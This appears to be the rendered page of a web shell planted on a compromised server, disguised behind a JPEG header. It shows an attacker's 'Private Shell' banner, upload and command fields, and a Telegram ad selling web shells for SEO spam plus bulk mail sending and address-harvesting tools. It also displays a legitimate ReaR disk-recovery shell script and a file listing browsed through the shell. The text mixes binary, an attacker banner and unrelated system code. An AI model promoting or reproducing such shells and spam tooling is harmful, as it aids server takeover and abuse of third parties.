����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# Cleanup directory which hold XFS configuration file for `rear recover'.
# This will avoid possible mess in LAYOUT_XFS_OPT_DIR_RESTORE if `rear recover'
# would be launched multiple times, where user will choose different disk
# mapping each time.
# Removing and creating LAYOUT_XFS_OPT_DIR_RESTORE will ensure that ReaR will
# have only current files available during current session.
rm -rf "$LAYOUT_XFS_OPT_DIR_RESTORE"
mkdir -p "$LAYOUT_XFS_OPT_DIR_RESTORE"

local excluded_configs=()

# Read $MAPPING_FILE (disk_mappings) to discover final disk mapping.
# Once mapping is known, configuration files can be renamed.
# (e.g. sds2.xfs to sdb2.xfs, ...)
while read source target junk ; do
    # Disks in MAPPING_FILE are listed with full device path. Since XFS config
    # files are created in format e.g. sda2.xfs strip prefixed path to have
    # only short device name available.
    base_source=$(basename "$source")
    base_target=$(basename "$target")

    # Check if XFS configuration file for whole device (unpartitioned)
    # is available (sda, sdb, ...). If so, rename and copy it to
    # LAYOUT_XFS_OPT_DIR_RESTORE.
    if [ -e "$LAYOUT_XFS_OPT_DIR/$base_source.xfs" ]; then
        Log "Migrating XFS configuration file $base_source.xfs to $base_target.xfs"
        cp "$v" "$LAYOUT_XFS_OPT_DIR/$base_source.xfs" \
         "$LAYOUT_XFS_OPT_DIR_RESTORE/$base_target.xfs"

        # Replace old device name in meta-data= option in XFS
        # configuration file as well.
        sed -i s#"meta-data=${source}\(\s\)"#"meta-data=${target}\1"# \
          "$LAYOUT_XFS_OPT_DIR_RESTORE/$base_target.xfs"

        # Mark XFS config file as processed to avoid copying it again later.
        # More details on why are configs excluded can be found near the
        # end of this script (near `tar' command).
        excluded_configs+=("--exclude=$base_source.xfs")
    fi

    # Find corresponding partitions to source disk in LAYOUT_FILE
    # and migrate/rename them too if necessary.
    while read _ layout_device _ _ _ _ layout_partition; do
        if [[ "$source" = "$layout_device" ]]; then
            base_src_layout_partition=$(basename "$layout_partition")
            base_dst_layout_partition=${base_src_layout_partition//$base_source/$base_target}
            dst_layout_partition=${layout_partition//$base_source/$base_target}

            if [ -e "$LAYOUT_XFS_OPT_DIR/$base_src_layout_partition.xfs" ]; then
                Log "Migrating XFS configuration $base_src_layout_partition.xfs to $base_dst_layout_partition.xfs"
                cp "$v" "$LAYOUT_XFS_OPT_DIR/$base_src_layout_partition.xfs" \
                 "$LAYOUT_XFS_OPT_DIR_RESTORE/$base_dst_layout_partition.xfs"

                # Replace old device name in meta-data= option in XFS
                # configuration file as well.
                sed -i s#"meta-data=${layout_partition}\(\s\)"#"meta-data=${dst_layout_partition}\1"# \
                  "$LAYOUT_XFS_OPT_DIR_RESTORE/$base_dst_layout_partition.xfs"

                # Mark XFS config file as processed to avoid copying it again later.
                # More details on why are configs excluded can be found near the
                # end of this script (near `tar' command).
                excluded_configs+=("--exclude=$base_src_layout_partition.xfs")
            fi
        fi
    done < <( grep -E "^part " "$LAYOUT_FILE" )
done < <( grep -v '^#' "$MAPPING_FILE" )

pushd "$LAYOUT_XFS_OPT_DIR" >/dev/null
# Copy remaining files
# We need to copy remaining files into LAYOUT_XFS_OPT_DIR_RESTORE which will
# serve as base dictionary where ReaR will look for XFS config files.
# It is necessary to copy only files that were not previously processed,
# because in LAYOUT_XFS_OPT_DIR they are still listed with
# original name and copy to LAYOUT_XFS_OPT_DIR_RESTORE could overwrite
# XFS configs already migrated.
# e.g. with following disk mapping situation:
# /dev/sda2 => /dev/sdb2
# /dev/sdb2 => /dev/sda2
# Files in LAYOUT_XFS_OPT_DIR_RESTORE would be overwritten by XFS configs with
# wrong names.
# tar is used to take advantage of its exclude feature.
tar cf - --exclude=restore "${excluded_configs[@]}" . | tar xfp - -C "$LAYOUT_XFS_OPT_DIR_RESTORE"
popd >/dev/null

Filemanager

Name Type Size Permission Actions
010_prepare_files.sh File 2.18 KB 0644
200_recreate_hpraid.sh File 7.92 KB 0644
250_compare_disks.sh File 13 KB 0644
270_overrule_migration_mode.sh File 1.2 KB 0644
300_map_disks.sh File 22.12 KB 0644
310_remove_exclusions.sh File 4.08 KB 0644
319_rename_xfs_configs.sh File 4.14 KB 0644
320_apply_mappings.sh File 1.83 KB 0644
420_autoresize_last_partitions.sh File 52.23 KB 0644
430_autoresize_all_partitions.sh File 3.96 KB 0644
500_confirm_layout_file.sh File 2.35 KB 0644
510_list_dependencies.sh File 103 B 0644
520_exclude_components.sh File 607 B 0644
540_generate_device_code.sh File 1.71 KB 0644
550_finalize_script.sh File 119 B 0644
600_show_unprocessed.sh File 3.16 KB 0644
610_exclude_from_restore.sh File 1.23 KB 0644